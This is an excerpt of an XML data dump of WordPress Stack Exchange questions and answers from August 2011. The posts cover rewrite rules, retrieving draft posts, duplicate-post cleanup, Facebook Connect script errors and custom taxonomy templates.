  <row Id="25562" PostTypeId="2" ParentId="25241" CreationDate="2011-08-10T19:01:33.220" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried flushing your rewrite rules after add_rewrite_rule():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_custom_rewrites(){&#xA;    add_rewrite_rule(&#xA;        'our-firm/shareholders/([^/]+)/?',&#xA;        'index.php?pagename=shareholders&amp;amp;shareholder_name=$matches[1]',&#xA;        'top' );&#xA;    flush_rewrite_rules(false);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This isn't something you'd leave in production but it could determine if that rule is being added to your rewrites or not. You can also confirm afterwards with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_rewrite;&#xA;var_dump($wp_rewrite-&amp;gt;rules);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to see if your rule was added.&lt;/p&gt;&#xA;" OwnerUserId="7802" LastActivityDate="2011-08-10T19:01:33.220" CommentCount="2" />
  <row Id="25563" PostTypeId="1" AcceptedAnswerId="25565" CreationDate="2011-08-10T19:04:49.513" Score="0" ViewCount="16" Body="&lt;p&gt;I'm trying to, essentially, check whether a post exists and if it does (in published, draft or auto-draft states) return the post info. I'm finding &lt;code&gt;get_post()&lt;/code&gt; doesn't seem to work with drafts, and &lt;code&gt;get_posts()&lt;/code&gt; doesn't allow me to specify the specific post ID I'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a function to get post info for any &lt;code&gt;publish_status&lt;/code&gt; by post ID?&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-08-11T10:13:06.403" Title="Is there a function to get post info for any publish_status by post ID?" Tags="&lt;posts&gt;&lt;wp-query&gt;&lt;database&gt;" AnswerCount="1" />
  <row Id="25564" PostTypeId="2" ParentId="25561" CreationDate="2011-08-10T19:07:24.687" Score="0" ViewCount="" Body="&lt;p&gt;Yes, admin customization is possible though the details are not really flushed out much anywhere except existing code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&quot; rel=&quot;nofollow&quot;&gt;enqueue styles&lt;/a&gt; and use the &quot;cascading&quot; part of CSS to override selectors and other CSS elements. Try checking out how plugins like &lt;a href=&quot;http://wordpress.org/extend/plugins/ozh-admin-drop-down-menu/&quot; rel=&quot;nofollow&quot;&gt;this one&lt;/a&gt; do it.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-08-10T19:07:24.687" />
  <row Id="25565" PostTypeId="2" ParentId="25563" CreationDate="2011-08-10T19:26:11.693" Score="1" ViewCount="" Body="&lt;p&gt;There is nothing in the codex that would suggest that &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post()&lt;/code&gt;&lt;/a&gt; would not work with drafts.&#xA;if you experience otherwise, try &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_posts()&lt;/code&gt;&lt;/a&gt; with the &lt;code&gt;include&lt;/code&gt; or &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Post_.26_Page_Parameters&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;post__in&lt;/code&gt;&lt;/a&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see the supported type and status parameters &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Type_.26_Status_Parameters&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4884" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-08-11T10:13:06.403" LastActivityDate="2011-08-11T10:13:06.403" />
  <row Id="25566" PostTypeId="2" ParentId="22195" CreationDate="2011-08-10T19:32:15.333" Score="0" ViewCount="" Body="&lt;p&gt;It's definitely possible. And there are a few plugins to help make it easier&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/diamond-multisite-widgets/&quot; rel=&quot;nofollow&quot;&gt;Diamon Multisite Widgets&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bloglist, recent posts and comments from the whole network.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-sitewide-tags/&quot; rel=&quot;nofollow&quot;&gt;Wordpress MU Sitewide Tags&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A central area where all the posts on a WordPress MU or WordPress MS site can be collected.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This plugin creates a new blog on your server for all the posts on your site, much like &lt;a href=&quot;http://wordpress.com/tags/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.com/tags/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-08-10T19:32:15.333" />
  <row Id="25567" PostTypeId="2" ParentId="25561" CreationDate="2011-08-10T19:50:56.363" Score="0" ViewCount="" Body="&lt;p&gt;baritoneuk - There are several plugin which can handle the branding as well as code which removes the need for the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a plugin, I recommend &lt;a href=&quot;http://wordpress.org/extend/plugins/white-label-cms/&quot; rel=&quot;nofollow&quot;&gt;White Label CMS&lt;/a&gt;, if you're feeling adventurous try this &lt;a href=&quot;http://www.wpbeginner.com/wp-tutorials/25-extremely-useful-tricks-for-the-wordpress-functions-file/&quot; rel=&quot;nofollow&quot;&gt;article from WP Beginner&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-08-10T19:50:56.363" CommentCount="1" />
  <row Id="25568" PostTypeId="1" CreationDate="2011-08-10T19:51:04.310" Score="0" ViewCount="21" Body="&lt;p&gt;I have several metadata fields I have added to my user's profiles.  I need to be able to search these fields from the users.php search.  I found the WP_User_Query function, but I can't figure out how to add my fields to the search.  I tried modifying the code from &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5811/how-to-search-all-user-meta-from-users-php-in-the-admin&quot;&gt;this post&lt;/a&gt;, but the modification doesn't work.  Does anyone know how to add user metadata to the users.php search?&lt;/p&gt;&#xA;" OwnerUserId="6064" LastEditorUserId="6064" LastEditorDisplayName="" LastEditDate="2011-08-11T18:34:04.177" LastActivityDate="2011-08-11T18:34:04.177" Title="Add user metadata to users.php search" Tags="&lt;wp-admin&gt;&lt;users&gt;&lt;search&gt;" />
  <row Id="25569" PostTypeId="1" CreationDate="2011-08-10T20:06:32.013" Score="-1" ViewCount="12" Body="&lt;p&gt;I have a fancybox that I use to display the gallery.  I click on the image and it pops up in the box. In the popup it shows the Title of the image pulling it from the title post, and the description from the body.  But it does not pull the link I created in the body.  Does anyone know how I can tweak the fancybox to display the link from the body?&lt;/p&gt;&#xA;" OwnerUserId="7039" LastActivityDate="2011-08-10T20:06:32.013" Title="Fancybox plugin for WP does not display links from the body" Tags="&lt;javascript&gt;" CommentCount="2" />
  <row Id="25570" PostTypeId="1" AcceptedAnswerId="25603" CreationDate="2011-08-10T20:11:38.500" Score="0" ViewCount="42" Body="&lt;p&gt;I will describe here steps I made to make my galleries for my first WP theme.&#xA;I wanted to have a few links in my menu which will take user to page with thumbnails. Each thumbnail takes user to gallery with bunch of horizontally displayed images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, in my functions.php file I've added new size for my icons:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_image_size( 'wide-image-icon', 200, 150, true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, I've made my template file for gallery category (lets call it Gallery1) and category &quot;Gallery1&quot;. In my &lt;code&gt;gallery1.php&lt;/code&gt; template file I used query for posts with galleries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts(array('category_name'=&amp;gt;'Gallery1','posts_per_page'=&amp;gt;-1))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in posts loop I've displayed my gallery icons (which are featured images of posts):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_post_thumbnail('wide-image-icon');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So now, after creating new page with &quot;Gallery1&quot; template, I can add post, select &quot;Gallery1&quot; category for it, add pictures using standard &quot;Insert gallery&quot;, choose one as featured image and I'm good to go. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that's not universal way of doing this. What if I would like to make another gallery page (Gallery2). Then I need to make new template file, create new category, change category name in query inside template file, add new page with this template attached to it. How do you do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also like to ask about some admin side improvements for gallery. I've seen themes where there was a completely new tab inside admin area where you saw all galleries, you could easily change images order, add/remove galleries etc. Right now on my website I add my news ( I use the same system here ), galleries, blog posts and normal pages like &quot;Bio&quot; as posts only which is definitely not good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS.&#xA;Any articles, video tutorials, books or tips and tricks are welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@edit:&#xA;How can I manage display of my galleries on admin side? I'd like to remove whole editor and leave just pictures if you know what I mean.&lt;/p&gt;&#xA;" OwnerUserId="7113" LastEditorUserId="7113" LastEditorDisplayName="" LastEditDate="2011-08-11T14:31:15.707" LastActivityDate="2011-08-11T15:56:27.367" Title="How to make universal gallery and improve admin side of managing galleries?" Tags="&lt;gallery&gt;&lt;how-to&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25571" PostTypeId="2" ParentId="25557" CreationDate="2011-08-10T20:17:30.767" Score="1" ViewCount="" Body="&lt;p&gt;Elements like these (Paypal buttons) should not be inserted as page content in the editor. Instead, put them in your Wordpress template files. I assume you are developing your own Wordpress theme but even if not, you can modify the existing one (&quot;Twenty Eleven&quot;). Depending on the placement of the button, you should do it in header.php, sidebar.php or footer.php in the directory of the theme.&lt;/p&gt;&#xA;" OwnerUserId="4315" LastActivityDate="2011-08-10T20:17:30.767" />
  <row Id="25572" PostTypeId="1" CreationDate="2011-08-10T20:23:52.973" Score="0" ViewCount="26" Body="&lt;p&gt;I'm building a site that has a two level menu created with the admin Menu tool. The menu contains links to both Pages and Category lists. It doesn't link directly to Posts. The problem is that when you drill down into a Category list and click to view a single post in that Category, the menu highlighting gets it wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested on a new install of WP3, set up a simple test site with a few pages and posts in 3 categories. All I've changed in the theme is the style.css to highlight the whole path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://danwashere.com/wp_dev/&quot; rel=&quot;nofollow&quot;&gt;http://danwashere.com/wp_dev/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a direct link to view a categorised post here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://danwashere.com/wp_dev/2011/07/28/blue-rocks/&quot; rel=&quot;nofollow&quot;&gt;http://danwashere.com/wp_dev/2011/07/28/blue-rocks/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is a page, except with the section &quot;Advice Categories&quot; - all those sub items are category lists containing categorised posts - each post is only categorised with a single category. The menu structure is defined entirely in the Menu settings. On that Blue Rocks page, the menu should be highlighted like this: Advice Categories -&gt; Rocks, but it's highlighting the Sample Page item. And if you rollover the &quot;Advice Categories&quot; menu, you'll see that it is correctly highlighting the &quot;Rocks&quot; menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that WP is applying the 'current-post-parent' class to the wrong top menu item, but maybe I'm missing something?&lt;/p&gt;&#xA;" OwnerUserId="7764" LastActivityDate="2011-08-10T20:23:52.973" Title="WordPress 3 - Problem with menu highlighting for posts in categories" Tags="&lt;posts&gt;&lt;categories&gt;&lt;menus&gt;" CommentCount="3" />
  <row Id="25573" PostTypeId="1" CreationDate="2011-08-10T20:38:56.970" Score="0" ViewCount="26" Body="&lt;p&gt;I'm using this function to make sure there is no duplicate post or pages with the same title. But the problem is when i add a new post with the same title as a old post the new post that I'm adding is removed and it keeps the old post, and i need it the other way around where the old post is removed and new post that I'm adding is kept.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function clearDuplicatePosts(){&#xA;  global $wpdb;&#xA;  $prefix = $wpdb-&amp;gt;prefix;&#xA;&#xA;  $wpdb-&amp;gt;query(&quot;DELETE bad_rows . * FROM &quot;.$prefix.&quot;posts AS bad_rows INNER JOIN (&#xA;    SELECT &quot;.$prefix.&quot;posts.post_title, MIN( &quot;.$prefix.&quot;posts.ID ) AS min_id&#xA;    FROM &quot;.$prefix.&quot;posts&#xA;    GROUP BY post_title&#xA;    HAVING COUNT( * ) &amp;gt;1&#xA;    ) AS good_rows ON ( good_rows.post_title = bad_rows.post_title&#xA;    AND good_rows.min_id &amp;lt;&amp;gt; bad_rows.ID )&quot;);&#xA;}&#xA;add_action('publish_post', 'clearDuplicatePosts');&#xA;add_action('publish_page', 'clearDuplicatePosts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2635" LastEditorUserId="2635" LastEditorDisplayName="" LastEditDate="2011-08-10T20:53:17.360" LastActivityDate="2011-08-13T14:06:56.400" Title="New post is added with the same title as a old post the old post is removed and new post is kept" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;functions&gt;&lt;pages&gt;&lt;duplicates&gt;" AnswerCount="1" />
  <row Id="25574" PostTypeId="2" ParentId="25533" CreationDate="2011-08-10T21:26:36.550" Score="1" ViewCount="" Body="&lt;p&gt;What page do you need it on?  Depending on your theme, it does display on Single Product Pages and in 'certain' but not all emails.  This will happen if you have enabled SKU's in the Admin-&gt;Jigoshop-&gt;Settings-&gt;General Tab and set the option 'Enable SKU field' to Yes.  And of course, actually entering SKU's for each product as you create them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond that, there is no doubt that there are a few places that it doesn't display where it should (the rest of the emails, the Admin Order's display, the User's Account placed orders display) and I can say that there is an update for that and several other issues in the works, but can't say when that might be publicly ready.&lt;/p&gt;&#xA;" OwnerUserId="6131" LastActivityDate="2011-08-10T21:26:36.550" CommentCount="1" />
  <row Id="25575" PostTypeId="1" CreationDate="2011-08-10T21:29:13.397" Score="1" ViewCount="36" Body="&lt;p&gt;Here's an interesting post that I saw toda - &lt;a href=&quot;http://thegloss.com/fashion/red-carpet-rundown-the-many-ugly-dresses-of-the-teen-choice-awards/gallery-page/2/&quot; rel=&quot;nofollow&quot;&gt;check the gallery&lt;/a&gt;&#xA;This website is using WordPress, now if you notice the image URL changes however we can still see the javascript slide effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it was a javascript slideshow then it shouldn't have changed the URL. This makes me think that how are they achieving this.&lt;/p&gt;&#xA;" OwnerUserId="7804" LastActivityDate="2011-08-10T22:11:17.430" Title="Is this post using WordPress Gallery?" Tags="&lt;images&gt;&lt;gallery&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25576" PostTypeId="1" CreationDate="2011-08-10T21:58:25.720" Score="-1" ViewCount="46" Body="&lt;p&gt;I added a custom facebook icon to my site. What I want to do is when user press on the facebook icon the facebook connect script should be triggered. I added these two scripts to the  of my site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;     window.fbAsyncInit = function() {&#xA;   FB.init({appId: 'xxxxxxxxxxxxxxx', status: true, cookie: true,&#xA;             xfbml: true});&#xA;&#xA; FB.getLoginStatus(function (response) {&#xA; if (response.session) {&#xA;  //Do something,User is logged in.&#xA; }&#xA; else {&#xA;&#xA; }&#xA; });&#xA;  FB.Event.subscribe('auth.login', function (response) {    &#xA;// When login process completes this event is called.&#xA;  Var userid=response.session.uid; // user id of logged in user&#xA; Var accesstoken=response.session.access_token;// access token&#xA;&#xA;});&#xA;  FB.Event.subscribe('auth.logout', function (response) {&#xA; //User is loggin out.&#xA;});&#xA;&#xA;&#xA; });&#xA;&#xA;  };&#xA;  (function() {&#xA;    var e = document.createElement('script'); e.async = true;&#xA;    e.src = document.location.protocol +&#xA;      '//connect.facebook.net/en_US/all.js';&#xA;    document.getElementById('fb-root').appendChild(e);&#xA;  }());&#xA;   &amp;lt;/script&amp;gt;&#xA;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;FB.login(function(response) {&#xA;   if (response.authResponse) {&#xA;     console.log('Welcome!  Fetching your information.... ');&#xA;     FB.api('/me', function(response) {&#xA;       console.log('Good to see you, ' + response.name + '.');&#xA;       FB.logout(function(response) {&#xA;         console.log('Logged out.');&#xA;       });&#xA;     });&#xA;   } else {&#xA;     console.log('User cancelled login or did not fully authorize.');&#xA;   }&#xA; }, {scope: 'email'});&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also i added &lt;code&gt;&amp;lt;div id=&quot;fb-root&quot;&amp;gt;&amp;lt;/div&amp;gt; right after &amp;lt;body &amp;lt;?php body_class(); ?&amp;gt;&amp;gt;&lt;/code&gt;, but when I load my site I keep getting these error messages: document.getElementById(&quot;fb-root&quot;) is null and FB is not defined [Break On This Error] FB.login(function(response) { .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a id=&quot;facebookiconid&quot;  onclick=&quot;FB.login()&quot;&amp;gt;Login&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7552" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-08-11T08:15:50.293" LastActivityDate="2011-08-11T08:15:50.293" ClosedDate="2011-08-11T19:33:59.530" Title="facebook connect javascript problem" Tags="&lt;facebook&gt;" CommentCount="2" />
  <row Id="25577" PostTypeId="2" ParentId="25575" CreationDate="2011-08-10T22:11:17.430" Score="1" ViewCount="" Body="&lt;p&gt;Not sure what they're using, but it's possible to change the URL in most modern browsers with JavaScript without refreshing the page and without using the hashtag, using the pushstate, popstate, and replacestate methods.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-10T22:11:17.430" CommentCount="2" />
  <row Id="25578" PostTypeId="1" AcceptedAnswerId="25608" CreationDate="2011-08-10T22:14:27.237" Score="0" ViewCount="24" Body="&lt;p&gt;When viewing a list of all standard post or pages there are convient quick edit and bulk edit functions to edit author, template, status, dates, etc... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy to enable similar quick edit and bulk edit tools on Custom Post types?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example going to: ../wp-admin/edit.php?post_type=page select all checkboxes, select edit from drop down, click apply, you get options for Author, Parent, Template, Comments, Status, but none of those show up for ../wp-admin/edit.php?post_type=mycustomposttype&lt;/p&gt;&#xA;" OwnerUserId="2932" LastActivityDate="2011-09-02T20:51:42.120" Title="Is there a way to enable bulk edit and quick edit on custom post types?" Tags="&lt;custom-post-types&gt;&lt;post-editor&gt;&lt;bulk&gt;&lt;quick-edit&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="25579" PostTypeId="1" CreationDate="2011-08-10T22:21:55.543" Score="0" ViewCount="15" Body="&lt;p&gt;I just added a few taxonomies to my dev site and they will only display entries if the permalinks are disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The taxonomies I added are being used to separate two post types that share a common taxonomy. Basically the new taxonomies are post type specific taxonomies. Each term in the new taxonomy uses the same slug as the &quot;&lt;em&gt;Master&lt;/em&gt;&quot; taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Lingerie Categories&lt;/strong&gt; (tax)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bridal (term)&lt;/li&gt;&#xA;&lt;li&gt;example.com/lingerie-categories/bridal (url)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Boutique Categories&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bridal &lt;/li&gt;&#xA;&lt;li&gt;example.com/boutique-categories/bridal  &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Designer Categories&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bridal&lt;/li&gt;&#xA;&lt;li&gt;example.com/designer-categories/bridal&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;..and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot figure out why they only work when permalinks are disabled. Any help is greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT---&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Permalink structure: %year%/%postname%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All my other permalinks work fine when enabled, it's just the new ones that won't. I tested a sample &quot;new&quot; taxonomy on the live site and all the URLs showed fine (pretty permalinks), so I am guessing that it has to do with the re-write rules and where the directory is on my dev server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not a real big deal since it works on the live server. Thanx again&lt;/p&gt;&#xA;" OwnerUserId="5391" LastEditorUserId="5391" LastEditorDisplayName="" LastEditDate="2011-08-13T20:49:08.047" LastActivityDate="2011-08-13T20:49:08.047" Title="new taxonomy only displays when permalinks disabled" Tags="&lt;custom-taxonomy&gt;&lt;permalinks&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25581" PostTypeId="1" AcceptedAnswerId="25583" CreationDate="2011-08-10T22:42:03.603" Score="0" ViewCount="9" Body="&lt;p&gt;Is there a way to return the comments link instead of echoing it? I've been searching the Codex for a little while now, without being able to find a function that just returns the link and doesn't echo it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-08-10T23:13:04.903" Title="Return comments_link() instead of echoing it" Tags="&lt;comments&gt;" AnswerCount="1" />
  <row Id="25582" PostTypeId="2" ParentId="19724" CreationDate="2011-08-10T22:42:23.880" Score="0" ViewCount="" Body="&lt;p&gt;you can try with this &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-marketplace/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-marketplace/&lt;/a&gt; . seems exactly matching with your need&lt;/p&gt;&#xA;" OwnerUserId="7805" LastActivityDate="2011-08-10T22:42:23.880" />
  <row Id="25583" PostTypeId="2" ParentId="25581" CreationDate="2011-08-10T23:06:57.453" Score="0" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.2.1/wp-includes/comment-template.php#L518&quot; rel=&quot;nofollow&quot; title=&quot;Get comments&quot;&gt;get_comments_link()&lt;/a&gt;, it retrieve the link without echoing it.&lt;br&gt;&#xA;This is the function that is used by &lt;code&gt;comments_link()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comments_link&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/comments_link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2727" LastEditorUserId="2727" LastEditorDisplayName="" LastEditDate="2011-08-10T23:13:04.903" LastActivityDate="2011-08-10T23:13:04.903" CommentCount="1" />
  <row Id="25584" PostTypeId="1" AcceptedAnswerId="25587" CreationDate="2011-08-10T23:11:37.597" Score="1" ViewCount="54" Body="&lt;p&gt;I am trying to have some information specific to a taxonomy term appear above that taxonomy's archive list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: Taxonomy is 'Sports', with football, soccer, and baseball being terms within the 'Sports' taxonomy. I would like to have a small description of each sport display above that term's archive page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In researching this possibility, I have read the &lt;a href=&quot;http://codex.wordpress.org/Category_Templates&quot; rel=&quot;nofollow&quot;&gt;Category Templates&lt;/a&gt; page, &lt;a href=&quot;http://wordpress.org/extend/plugins/category-content-header/&quot; rel=&quot;nofollow&quot;&gt;found a plugin&lt;/a&gt; that appears to do what I want, but only with regard to Categories and not custom taxonomies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would do it with Categories, but I have multiple taxonomies now and cannot use the simple categories solution any longer :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I being dense, or are custom taxonomy templates not possible?&lt;/p&gt;&#xA;" OwnerUserId="5019" LastActivityDate="2011-08-16T18:08:23.833" Title="Are Custom Taxonomy Templates Possible?" Tags="&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;archive&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25585" PostTypeId="1" CreationDate="2011-08-10T23:39:48.567" Score="0" ViewCount="22" Body="&lt;p&gt;I am working on a Wordpress-based site for a small artist community, and am wondering if certain functionality is available for single post URL rewrites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that all the artists(rewrote from &quot;authors&quot;) lastest posts are shown on a page such as mydomain.com/artists/ with each individual artist page being mydomain.com/artists/ARTISTNAME (aka author.php).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there I am wondering if the URL of a single post from an artist can be set using custom functions to mydomain.com/artists/ARTISTNAME/post-title/, leaving other pages like mydomain.com/about/ or mydomain.com/news/ unaffected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am pretty confident with custom php functions, although rewrite methods being something I'm not totally grasping yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd appreciate any direction or comments anyone has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks~&lt;/p&gt;&#xA;" OwnerUserId="7806" LastActivityDate="2011-08-10T23:39:48.567" Title="Custom single post URL for specific authors" Tags="&lt;url-rewriting&gt;&lt;mod-rewrite&gt;&lt;single&gt;" CommentCount="2" />
  <row Id="25586" PostTypeId="2" ParentId="19724" CreationDate="2011-08-10T23:52:06.997" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://getshopped.org/&quot; rel=&quot;nofollow&quot;&gt;WP e-Commerce&lt;/a&gt; plugin. Uses custom post types, has a whole bunch of payment gateways, postage calculator integration and a whole lot more. My understanding is that it is the best free Wordpress e-commerce plugin around. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of other great plugins for e-commerce sites built in Wordpress, but they cost money. If you want a free plugin used by a lot of people and constantly updated get WP-eCommerce. I've used it for a couple of major websites, including a record label website with a complete digital store.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-08-10T23:52:06.997" />
  <row Id="25587" PostTypeId="2" ParentId="25584" CreationDate="2011-08-10T23:53:14.010" Score="5" ViewCount="" Body="&lt;p&gt;Custom Taxonomy templates are entirely possible, the order of the template loading is, &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;taxonomy-{sometax}-{someterm}.php&lt;/code&gt; - If the taxonomy were sometax, and&#xA;taxonomy's slug were someterm&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;taxonomy-{sometax}.php&lt;/code&gt; - If the taxonomy were sometax.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;taxonomy.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;archive.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;index.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This template hierarchy give you tons of control on how you want to alter the display of taxonomies as a whole, as a group or alone.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Hierarchy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example in your case you can create a template called &lt;code&gt;taxonomy-sports.php&lt;/code&gt; and then customize it however you want using conditionals, template tags and functions.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="300" LastEditorDisplayName="" LastEditDate="2011-08-16T18:08:23.833" LastActivityDate="2011-08-16T18:08:23.833" CommentCount="1" />
